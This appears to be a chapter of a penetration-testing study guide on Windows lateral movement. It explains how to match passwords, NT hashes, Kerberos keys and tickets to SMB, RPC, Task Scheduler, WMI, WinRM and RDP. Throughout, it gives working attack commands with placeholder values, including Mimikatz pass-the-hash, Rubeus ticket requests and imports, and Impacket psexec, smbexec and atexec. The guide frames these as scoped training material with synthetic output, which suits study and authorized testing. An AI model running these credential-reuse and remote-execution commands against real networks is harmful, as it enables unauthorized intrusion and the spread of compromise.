6.4.4 Check which other hosts your current identity can access Move to another host

Strategy map | Master Notes | Operational index | Cheatsheets

Select credential type → accepted authentication → reachable service → service authorization → execution effect. Hash/ticket use is an authentication dimension; SMB, tasks, WMI, WinRM and RDP are different access mechanisms.

Speedrun blocks: 12; consumes routes from 13. Documented methods: 9.

Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.

6.4.4.1 First pass: tools and findings

Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.

6.4.4.1.1 Test the destination from the real source

A working password on one service does not establish execution permission on another host.

nmap -Pn -sT -p 135,445,3389,5985,5986 TARGET
getent hosts TARGET_HOST

If WinRM is reachable and the account has endpoint rights: Use the WinRM procedure and verify the resulting token. → Use WinRM, WinRS or PowerShell remoting.
If SMB/RPC is reachable and service-control rights are confirmed: Use the service-execution procedure with a separate output path. → Execute through uploaded service creation using PsExec.
Otherwise: Only the listener is reachable: inspect actual endpoint authorization before selecting an execution tool. → Select password, NT hash, key-to-ticket or ticket authentication.

6.4.4.1.2 Match password, hash, key or ticket to the client

Use the existing Impacket/NetExec protocol-specific examples; do not treat successful authentication as remote execution.

klist
getent hosts TARGET_HOST
date -u

If Accepted authentication plus remote service rights: Check share/SCM permissions and output reachability. → Execute through uploaded service creation using PsExec.
If WMI/task rights with RPC/DCOM connectivity: Check the exact namespace/task authorization and output channel. → Execute through WMI or native CIM over DCOM.
Otherwise: The artifact is rejected: recheck identity scope, material format, service name and transport. → Classify the artifact and its identity context.

6.4.4.2 Discovery workflow

Start with material tied to a known identity and a destination candidate; neither valid authentication nor remote execution rights are assumed.

Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.

Check the destination from the actual source, including dynamic RPC and names: Match route, destination service and effective authorization.
Classify password, NT hash, long-term key or service-scoped ticket: Select password, NT hash, key-to-ticket or ticket authentication.
Match effective service/task/WMI authorization to its separate output path: Execute through uploaded service creation using PsExec; Execute commands through service command lines and SMB output; Execute through remote Task Scheduler; Execute through WMI or native CIM over DCOM.
Check endpoint or remote-interactive rights for WinRM/RDP and verify the resulting token: Use WinRM, WinRS or PowerShell remoting; Obtain an authorized RDP interactive session.

PowerView examples require a reviewed compatible script in the current authenticated directory context. Check the loaded copy rather than mixing legacy/fork parameter names; the directory-mapping entry includes native, ADSI and LDAP alternatives.

Import-Module .\PowerView.ps1
Get-Command -Module PowerView

Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.

6.4.4.3 Method families

Route, authorization and authentication material: Match route, destination service and effective authorization, Select password, NT hash, key-to-ticket or ticket authentication.
Service and scheduled-task execution: Execute through uploaded service creation using PsExec, Execute commands through service command lines and SMB output, Execute through remote Task Scheduler.
Management protocol execution: Execute through WMI or native CIM over DCOM, Execute through an authorized DCOM application object, Use WinRM, WinRS or PowerShell remoting.
Interactive access: Obtain an authorized RDP interactive session.

6.4.4.4 Choose a method

Method	Recognition clue	Required access	Enabling conditions	Resulting capability
Match route, destination service and effective authorization	A credential appears valid but the destination's usable access is unknown	Identified authentication material, destination service reachability and a candidate authorized identity	Real source-to-service route, correct identity context and protocol-specific execution/logon rights	A selected movement method and a decision-changing preflight result
Select password, NT hash, key-to-ticket or ticket authentication	A password, actual NT hash, AES/NT long-term key or ticket is available	Identified authentication material, destination service reachability and a candidate authorized identity	Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization	A compatible authenticated service operation using the available material
Execute through uploaded service creation using PsExec	A destination grants administrative-share write and service-control rights	Identified authentication material, destination service reachability and a candidate authorized identity	SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context	A service-backed remote execution channel with verified resulting identity
Execute commands through service command lines and SMB output	SCM rights and SMB output access exist but an uploaded service binary is unsuitable	Identified authentication material, destination service reachability and a candidate authorized identity	Accepted authentication, service create/start rights and the selected output-share/server path	A remote command result through service-based execution
Execute through remote Task Scheduler	The identity has remote task rights and a compatible output path	Identified authentication material, destination service reachability and a candidate authorized identity	Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access	A verified one-shot remote task command effect
Execute through WMI or native CIM over DCOM	A destination exposes WMI/DCOM and the identity has useful namespace/process rights	Identified authentication material, destination service reachability and a candidate authorized identity	RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB	A remote process effect and, when available, retrieved command output
Execute through an authorized DCOM application object	A usable remote COM application and effective activation/method rights	Identified authentication material, destination service reachability and a candidate authorized identity	RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component	A verified remote application-mediated process effect
Use WinRM, WinRS or PowerShell remoting	A WinRM listener and a candidate endpoint-authorized account	Identified authentication material, destination service reachability and a candidate authorized identity	Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context	A verified remote command session under the endpoint-authorized identity
Obtain an authorized RDP interactive session	RDP is reachable and the identity may have remote-interactive logon rights	Identified authentication material, destination service reachability and a candidate authorized identity	Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements	A verified remote-interactive desktop/logon context

6.4.4.5 Match route, destination service and effective authorization

6.4.4.5.1 Purpose and result

A selected movement method and a decision-changing preflight result.

6.4.4.5.2 Recognition clues

A credential appears valid but the destination's usable access is unknown.

6.4.4.5.2.1 Find the clue from your starting access

Where to investigate: Use the discovered destination name/address and known credential record, then inspect the selected service ports from the actual direct or established pivot source.

Discovery action — reference example:

Access/context: Identified authentication material, destination service reachability and a candidate authorized identity

Conditions, effects and verification

Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Action class: Remote authentication/execution; service/file mechanisms can change target state.

Stop/verify: Record exact source, credential type, destination name/service and successfully permitted operation.

Failure/next check: Do not infer every service works from an administrative SMB indicator. Separate authentication, route, execution and output-channel failures.

nmap -Pn -sT -p 135,445,3389,5985,5986 TARGET
getent hosts TARGET_HOST

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

445/tcp open microsoft-ds
135/tcp open msrpc
5985/tcp filtered wsman

Recognize this detail: SMB/RPC are transport candidates while WinRM is not yet reachable; dynamic RPC and authorization are still untested.

Still missing before method selection: Probe the destination from the real source. Check DNS/service names and each required SMB/RPC/WinRM endpoint, then test effective service authorization. An open port and an accepted password do not establish a working remote execution method.

Outcome after checking	Example and next decision
Enabled after validation	One compatible service accepts the identity and authorized operation: choose that movement mechanism.
Ruled out in this context	The intended protocol is conclusively unavailable from this source: reject that route/service combination.
Inconclusive	Open 135 does not settle dynamic RPC; an SMB admin indicator does not settle WMI/WinRM/RDP.

If you do not yet have this clue: start with Validate known passwords and context-specific reuse.

6.4.4.5.3 Prerequisites

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity. Required conditions: Real source-to-service route, correct identity context and protocol-specific execution/logon rights.

6.4.4.5.4 Discover and verify prerequisites

nmap -Pn -sT -p 135,445,3389,5985,5986 TARGET
getent hosts TARGET_HOST

6.4.4.5.5 Why it works

SMB authentication, SCM/WMI rights, WinRM endpoint rights and RDP logon rights are different. Local-account remote filtering and second-hop delegation can change an otherwise valid credential's effect.

6.4.4.5.6 Execute and choose variants

Material	Compatible starting paths	Important boundary
Password	SMB/SCM, WMI/DCOM, WinRM/WinRS, RDP	Correct password does not grant the required logon or execution right
NT hash	NTLM-capable SMB/WMI/WinRM; RDP only through Restricted Admin where supported	Net-NTLM and DCC2 are not reusable NT hashes
TGT/ccache	Kerberos-capable tool using target FQDN/SPN	Ticket identity, realm, lifetime, DNS and KDC route must match
TGS	Only the named `SERVICE/HOST` and compatible client	A CIFS ticket does not authorize WinRM, WMI or RDP
AES/NT long-term key	Request a TGT, then use Kerberos	RC4/NT-key requests can fail where RC4 is disabled
Local-account password/hash	NTLM or RDP in the target's local account context	Remote UAC/account restrictions commonly filter non-RID-500 local administrators

Reachable service	Common execution/access mechanisms	Usual authorization
SMB 445 + SCM/RPC	PsExec, SMBExec, service creation	Administrative share plus SCM/service rights
RPC endpoint mapper 135 + dynamic RPC; often SMB for output	WMIExec, native CIM/WMI, DCOM	Remote WMI/DCOM rights, commonly an effective administrator token
Task Scheduler RPC plus SMB output	ATExec	Remote task creation and administrative output access
WinRM 5985/5986	WinRS, PowerShell remoting, Evil-WinRM	Enabled endpoint and endpoint/session authorization
RDP 3389	FreeRDP, MSTSC	Remote-interactive logon right; Restricted Admin requires administrator access

Directly routed source:

nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u

Windows source:

Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status

Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.

Record:

SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT

NetExec can classify a selected SMB credential:

6.4.4.5.6.1 Domain password

# Domain password
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'

6.4.4.5.6.2 Domain NT hash

# Domain NT hash
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH

6.4.4.5.6.3 Target-local account

# Target-local account
nxc smb TARGET -u Administrator -H NT_HASH --local-auth

6.4.4.5.6.4 Prove only share access

# Prove only share access
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

A successful login proves SMB authentication. (Pwn3d!) is NetExec's SMB administrative-context indicator, not proof that WinRM, RDP, WMI or every SMB execution method will succeed.

For one justified execution proof:

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec

Current NetExec can select wmiexec, atexec or smbexec; without an explicit method it may fail over between them. Use a forced method when diagnosing prerequisites so the result remains attributable.

DOMAIN\USER  -> domain identity; evaluate target-local group/right
TARGET\USER  -> SAM identity on that target
./USER        -> tool-specific local-account selection

Common failure pattern:

a local account authenticates over SMB;
Windows issues a filtered remote token;
ADMIN$, SCM or WMI administrative operations fail.

Do not “fix” this by changing LocalAccountTokenFilterPolicy during an attack workflow. Use a method already permitted by the target's configuration, the built-in Administrator where legitimately obtained and applicable, RDP if authorized, or another mapped identity.

Remote process creation, stdout retrieval and an interactive shell are separate states:

AUTHENTICATED
-> REMOTE OPERATION AUTHORIZED
-> PROCESS/TASK/SERVICE CREATED
-> COMMAND EFFECT OCCURRED
-> OUTPUT RETURNED OR CALLBACK CONNECTED
-> USABLE SESSION

PsExec returns named-pipe I/O through its service.
WMIExec normally redirects output to an SMB share.
SMBExec redirects command output while repeatedly creating services.
ATExec writes output under ADMIN$\Temp.
Native WMI/DCOM may return only a PID/return value; verify a harmless file or another bounded effect.
WMI/DCOM/service processes commonly run in session 0, so a GUI is not visible to the logged-on user.
WinRM creates a remote shell/runspace and returns structured or text output.

A WinRM/PowerShell session on HOST_A may not possess delegable credentials for HOST_B. That “double hop” is a credential-context problem, not proof that HOST_B or the password is wrong. Prefer executing from the source that actually holds the credential/ticket rather than enabling broad delegation.

hostname
whoami /all
ipconfig /all
route print
netstat -ano
klist

Re-enumerate:

local privilege and accessible credential sources;
domain groups, ACLs, shares and host rights under the new identity;
logged-on sessions and service accounts;
interfaces, routes, DNS, listeners and internal reachability;
the next evidence-backed host/identity transition.

Do not overwrite the earlier state. Record the source host, credential form, authentication protocol, execution method, returned identity and side effects.

6.4.4.5.7 Worked example — hypothetical

Observation: a credential authenticates to SMB but WMI fails. Test: check RPC endpoint/dynamic-port reachability and authorization. Illustrative output: TCP/445 works but negotiated RPC is blocked. Interpretation: choose a reachable authorized SMB method or repair the route.

6.4.4.5.8 Verify the result

Record exact source, credential type, destination name/service and successfully permitted operation.

6.4.4.5.9 Failure and fallback

Do not infer every service works from an administrative SMB indicator. Separate authentication, route, execution and output-channel failures.

6.4.4.5.10 Continue from the interpreted result

Observed result	Check before proceeding	Next numbered section
A destination grants administrative-share write and service-control rights	SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context	§6.4.4.7 — Execute through uploaded service creation using PsExec
A destination exposes WMI/DCOM and the identity has useful namespace/process rights	RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB	§6.4.4.10 — Execute through WMI or native CIM over DCOM
A WinRM listener and a candidate endpoint-authorized account	Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context	§6.4.4.12 — Use WinRM, WinRS or PowerShell remoting
RDP is reachable and the identity may have remote-interactive logon rights	Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements	§6.4.4.13 — Obtain an authorized RDP interactive session
The identity has remote task rights and a compatible output path	Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access	§6.4.4.9 — Execute through remote Task Scheduler
A usable remote COM application and effective activation/method rights	RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component	§6.4.4.11 — Execute through an authorized DCOM application object

6.4.4.6 Select password, NT hash, key-to-ticket or ticket authentication

Blocks: 12; consumes routes from 13. Operational procedure | Quick sheet

6.4.4.6.1 Purpose and result

A compatible authenticated service operation using the available material.

6.4.4.6.2 Recognition clues

A password, actual NT hash, AES/NT long-term key or ticket is available.

6.4.4.6.2.1 Find the clue from your starting access

Where to investigate: Return to the credential source and inspect format, identity and ticket service scope before selecting a remote protocol.

Discovery action — reference example:

Access/context: Identified authentication material, destination service reachability and a candidate authorized identity

Conditions, effects and verification

Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Action class: Remote authentication/execution; service/file mechanisms can change target state.

Stop/verify: Verify exact material type, represented network identity and successful destination action.

Failure/next check: Wrong ticket service, RC4 policy, time skew, IP-only SPN naming or local/domain mismatch can invalidate one variant while another remains viable.

klist
getent hosts TARGET_HOST
date -u

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Available cache: cifs/TARGET_HOST@REALM
No TGT present
Target hostname: resolves through selected route

Recognize this detail: The cache permits investigating a matching CIFS action, not arbitrary WinRM or a new TGS without a TGT/KDC route.

Still missing before method selection: Match NTLM versus Kerberos support, account/domain, key/encryption policy, name/time and destination rights.

Outcome after checking	Example and next decision
Enabled after validation	The selected client/service accepts the exact material and action: use that method.
Ruled out in this context	Only a challenge response is available for a direct NT-hash client: reject the type mismatch.
Inconclusive	An unlabelled hash or unknown ticket lifetime requires classification first.

If you do not yet have this clue: start with Classify the artifact and its identity context.

6.4.4.6.3 Prerequisites

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity. Required conditions: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization.

6.4.4.6.4 Discover and verify prerequisites

klist
getent hosts TARGET_HOST
date -u

6.4.4.6.5 Why it works

Pass-the-Hash uses NTLM key material; Overpass-the-Hash/key-to-ticket requests Kerberos credentials; Pass-the-Ticket uses an existing ticket. They do not grant the same services without their own rights and scope.

6.4.4.6.6 Execute and choose variants

6.4.4.6.6.1.1 Authenticate with an NT hash where the service supports it Pass-the-Hash

NT HASH -> NTLM CHALLENGE/RESPONSE -> TARGET SERVICE

PtH requires an NTLM-capable service, a valid account context and the service-specific right. SMB share access may work without administrative execution; PsExec/WMIExec/SMBExec usually need administrative rights. Remote UAC commonly filters non-built-in local administrators. Domain accounts in the target Administrators group traditionally receive a full remote token, but newer Administrator Protection policy can change that result—trust the observed target token and method-specific authorization.

6.4.4.6.6.1.2 Obtain a Kerberos ticket using an available account key Overpass-the-Hash / key-to-ticket

Mimikatz network-credential context:

sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe

Rubeus TGT request:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

AES alternative:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt

Trigger a Kerberos service request with the hostname, then inspect:

dir \\TARGET_HOST\C$
klist

In a Mimikatz sekurlsa::pth process, whoami can still show the original local process token while network authentication uses the supplied identity. Validate the ticket's client and the remote result rather than treating local whoami as the network identity.

6.4.4.6.6.1.3 Authenticate with an available ticket in the correct logon context Pass-the-Ticket

Windows:

Rubeus.exe ptt /ticket:ticket.kirbi
klist

kerberos::ptt ticket.kirbi

Linux:

export KRB5CCNAME="$PWD/ticket.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

A TGS must name the selected service/hostname. A TGT can request a suitable TGS only while valid and when the KDC is reachable. Ticket import is not lateral movement until the destination accepts it and produces the intended authorized effect.

6.4.4.6.7 Worked example — hypothetical

Observation: an NT hash works for NTLM SMB but an RC4 TGT request fails. Test: inspect domain encryption policy and available key types. Illustrative output: RC4 is disabled. Interpretation: use an allowed existing service route or a supported AES/key/password transition.

6.4.4.6.8 Verify the result

Verify exact material type, represented network identity and successful destination action.

6.4.4.6.9 Failure and fallback

Wrong ticket service, RC4 policy, time skew, IP-only SPN naming or local/domain mismatch can invalidate one variant while another remains viable.

6.4.4.6.10 Continue from the interpreted result

Observed result	Check before proceeding	Next numbered section
A destination grants administrative-share write and service-control rights	SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context	§6.4.4.7 — Execute through uploaded service creation using PsExec
A destination exposes WMI/DCOM and the identity has useful namespace/process rights	RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB	§6.4.4.10 — Execute through WMI or native CIM over DCOM
A WinRM listener and a candidate endpoint-authorized account	Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context	§6.4.4.12 — Use WinRM, WinRS or PowerShell remoting
A valid ticket/cache or a long-term key that can request a TGT	Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context	§6.3.11.13 — Inventory, convert and import tickets in the correct logon context

6.4.4.7 Execute through uploaded service creation using PsExec

Choose when: A destination grants administrative-share write and service-control rights · Result: A service-backed remote execution channel with verified resulting identity

Blocks: 12; consumes routes from 13. Operational procedure | Operational procedure | Quick sheet

6.4.4.7.1 Purpose and result

A service-backed remote execution channel with verified resulting identity.

6.4.4.7.2 Recognition clues

A destination grants administrative-share write and service-control rights.

6.4.4.7.2.1 Find the clue from your starting access

Where to investigate: From an accepted SMB identity inspect the required administrative share and the separate ability to create/start services on that host.

Discovery action — reference example:

Access/context: Identified authentication material, destination service reachability and a candidate authorized identity

Conditions, effects and verification

Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

Action class: Remote authentication/execution; service/file mechanisms can change target state.

Stop/verify: Verify destination and represented execution identity, not only service creation or tool success.

Failure/next check: Share write, SCM access, service start, endpoint controls and pipe communication can fail independently.

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Authentication: accepted
ADMIN$: READ,WRITE
SCM create/start: not yet verified

Recognize this detail: Administrative-share control is one PsExec prerequisite, not proof of every service/pipe operation.

Still missing before method selection: Validate actual SCM rights, binary compatibility, service start and named-pipe path; check the final execution identity.

Outcome after checking	Example and next decision
Enabled after validation	All share/SCM/pipe conditions hold and remote effect is observed: use the service-upload method.
Ruled out in this context	ADMIN$ is unwritable or SCM creation is denied: reject this specific PsExec route.
Inconclusive	A tool's admin label alone leaves exact method authorization unresolved.

If you do not yet have this clue: start with Match route, destination service and effective authorization.

6.4.4.7.3 Prerequisites

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity. Required conditions: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context.

6.4.4.7.4 Discover and verify prerequisites

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

6.4.4.7.5 Why it works

PsExec creates a service and communicates through its service/pipes. Its service execution identity can differ from the authenticated account; the official Windows tool and Impacket implementation have distinct artifacts/options.

6.4.4.7.6 Execute and choose variants

6.4.4.7.6.1 Authenticate with a known password in the correct account scope Password

# Password
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'

6.4.4.7.6.2 Authenticate with the account's NT hash where supported NT hash / Pass-the-Hash

# NT hash / Pass-the-Hash
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Need: SMB 445/139, writable administrative share and Service Control Manager rights. Impacket uploads a RemCom service binary, creates/starts a service and communicates over named pipes. Verify the returned identity; the service context is commonly SYSTEM.

Kerberos cache:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

The target parameter uses the hostname matching the CIFS/HOST SPN; -target-ip separates connection routing from Kerberos naming.

PsExec64.exe -accepteula \\TARGET_HOST -u DOMAIN\USER -p PASSWORD cmd.exe

The official PsExec binary is not built into Windows. It requires remote administrative access and creates the PSEXESVC service/artifacts. Avoid putting real passwords in retained shell history; an existing authorized network credential context is preferable.

6.4.4.7.7 Worked example — hypothetical

Observation: the identity can write the required administrative share and create services. Test: execute a minimal hostname/identity command. Illustrative output: the service channel returns SYSTEM on the intended host. Interpretation: verify token/network state and re-enumerate.

6.4.4.7.8 Verify the result

Verify destination and represented execution identity, not only service creation or tool success.

6.4.4.7.9 Failure and fallback

Share write, SCM access, service start, endpoint controls and pipe communication can fail independently.

6.4.4.7.10 Continue from the interpreted result

Observed result	Check before proceeding	Next numbered section
A new Windows session or claimed administrator/SYSTEM transition	A functioning command channel and the actual effective token/process context	§5.2.5 — Establish Windows token, host and process context
A controlled Windows host may hold useful logged-on identities	Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material	§6.3.11.5 — Obtain accessible live logon-session credential material
SCM rights and SMB output access exist but an uploaded service binary is unsuitable	Accepted authentication, service create/start rights and the selected output-share/server path	§6.4.4.8 — Execute commands through service command lines and SMB output

6.4.4.8 Execute commands through service command lines and SMB output

Choose when: SCM rights and SMB output access exist but an uploaded service binary is unsuitable · Result: A remote command result through service-based execution

Blocks: 12; consumes routes from 13. Operational procedure | Quick sheet

6.4.4.8.1 Purpose and result

A remote command result through service-based execution.

6.4.4.8.2 Recognition clues

SCM rights and SMB output access exist but an uploaded service binary is unsuitable.

6.4.4.8.2.1 Find the clue from your starting access

Where to investigate: Inspect known administrative SMB/SCM context and the output-share path when a service-command mechanism is preferable to binary upload.

Discovery action — reference example:

Access/context: Identified authentication material, destination service reachability and a candidate authorized identity

Conditions, effects and verification

Requires: Accepted authentication, service create/start rights and the selected output-share/server path

Action class: Remote authentication/execution; service/file mechanisms can change target state.

Stop/verify: Verify command effect separately from successful output retrieval and remove created artifacts as appropriate.

Failure/next check: Missing output can coexist with successful execution. Check service event/effect and share permissions before changing payloads.

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

ADMIN$: accessible
Accepted identity: DOMAIN\USER
Service-command and output retrieval: verify separately

Recognize this detail: A share and possible service rights suggest the command-line service route, whose output still has its own access path.

Still missing before method selection: Confirm service create/start, exact output mode/share and command effect independently from retrieved stdout.

Outcome after checking	Example and next decision
Enabled after validation	The service command executes and its selected output is available: choose SMBExec.
Ruled out in this context	SCM creation is denied: reject service-command execution despite SMB login.
Inconclusive	No stdout may be output-share failure rather than failed process execution.

If you do not yet have this clue: start with Execute through uploaded service creation using PsExec.

6.4.4.8.3 Prerequisites

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity. Required conditions: Accepted authentication, service create/start rights and the selected output-share/server path.

6.4.4.8.4 Discover and verify prerequisites

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

6.4.4.8.5 Why it works

SMBExec uses service command lines and file/share output rather than PsExec's uploaded RemCom binary. It still creates services and needs its documented output path.

6.4.4.8.6 Execute and choose variants

impacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

SMBExec creates temporary services whose command lines redirect output through a share. It does not use the same uploaded RemCom binary as PsExec, but it still requires SCM/service rights and produces substantial service/event artifacts.

6.4.4.8.6.1 Kerberos and alternate output modes

6.4.4.8.6.2 export KRB5CCNAME="$PWD/USER.ccache"

export KRB5CCNAME="$PWD/USER.ccache"
impacket-smbexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

6.4.4.8.6.3 SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.

# SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
impacket-smbexec -mode SHARE -share C$ 'DOMAIN/USER:PASSWORD@TARGET'

6.4.4.8.7 Worked example — hypothetical

Observation: service control is allowed while a binary-upload approach is blocked. Test: select the supported service-command mechanism and verify output. Illustrative output: hostname/whoami returns through the chosen share. Interpretation: retain the effect and destination identity.

6.4.4.8.8 Verify the result

Verify command effect separately from successful output retrieval and remove created artifacts as appropriate.

6.4.4.8.9 Failure and fallback

Missing output can coexist with successful execution. Check service event/effect and share permissions before changing payloads.

6.4.4.8.10 Continue from the interpreted result

Observed result	Check before proceeding	Next numbered section
A new Windows session or claimed administrator/SYSTEM transition	A functioning command channel and the actual effective token/process context	§5.2.5 — Establish Windows token, host and process context
A destination grants administrative-share write and service-control rights	SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context	§6.4.4.7 — Execute through uploaded service creation using PsExec
Command execution or payload delivery exists but the expected usable channel does not	A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence	§7.1.13 — Diagnose connection direction, listener and session failures in order

6.4.4.9 Execute through remote Task Scheduler

Choose when: The identity has remote task rights and a compatible output path · Result: A verified one-shot remote task command effect

Blocks: 12; consumes routes from 13. Operational procedure | Quick sheet

6.4.4.9.1 Purpose and result

A verified one-shot remote task command effect.

6.4.4.9.2 Recognition clues

The identity has remote task rights and a compatible output path.

6.4.4.9.2.1 Find the clue from your starting access

Where to investigate: Use destination RPC/SMB evidence and effective administrative/task rights to investigate Task Scheduler as a one-shot execution consumer.

Discovery action — reference example:

Access/context: Identified authentication material, destination service reachability and a candidate authorized identity

Conditions, effects and verification

Requires: Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access

Action class: Remote authentication/execution; service/file mechanisms can change target state.

Stop/verify: Verify the actual task effect/principal and destination, not task registration alone.

Failure/next check: Dynamic RPC filtering, task authorization or denied output share can break different phases.

Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

135: reachable
445: reachable
Remote task creation and output ACLs: not yet known

Recognize this detail: The required network services are candidates; a task cannot be assumed creatable from port results.

Still missing before method selection: Check negotiated RPC reachability, task-create permission, actual principal and administrative output channel.

Outcome after checking	Example and next decision
Enabled after validation	Task creation/execution and the bounded effect are verified: choose ATExec.
Ruled out in this context	The account lacks remote task rights: reject this method while retaining other service access.
Inconclusive	A task-run request accepted without process/effect evidence is inconclusive.

If you do not yet have this clue: start with Match route, destination service and effective authorization.

6.4.4.9.3 Prerequisites

Starting access: Identified authentication material, destination service reachability and a candidate authorized identity. Required conditions: Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access.

6.4.4.9.4 Discover and verify prerequisites

Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445

6.4.4.9.5 Why it works

Remote task creation and file-based output retrieval are separate operations. ATExec is not a full interactive shell; task principal and execution result must be checked.

6.4.4.9.6 Execute and choose variants

impacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

ATExec creates and deletes a scheduled task and normally retrieves output from ADMIN$\Temp. It is a one-shot command mechanism, not an interactive shell; task-scheduler RPC and administrative share access must both work.

Kerberos:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

6.4.4.9.7 Worked example — hypothetical

Observation: the identity can create tasks on the destination. Test: run a bounded hostname/identity command and inspect output. Illustrative output: the correct host responds under the task principal. Interpretation: decide whether one-shot execution is sufficient or a session is needed.

6.4.4.9.8 Verify the result

Verify the actual task effect/principal and destination, not task registration alone.

6.4.4.9.9 Failure and fallback

Dynamic RPC filtering, task authorization or denied output share can break different phases.

6.4.4.9.10 Continue from the interpreted result

Observed result	Check before proceeding	Next numbered section
A PoC, injected command or remote client reports execution	A functioning execution primitive and an observable output or controlled side effect	§4.2.5 — Verify command execution, host and represented identity
A new Windows session or claimed administrator/SYSTEM transition	A functioning command channel and the actual effective token/process context	§5.2.5 — Establish Windows token, host and process context
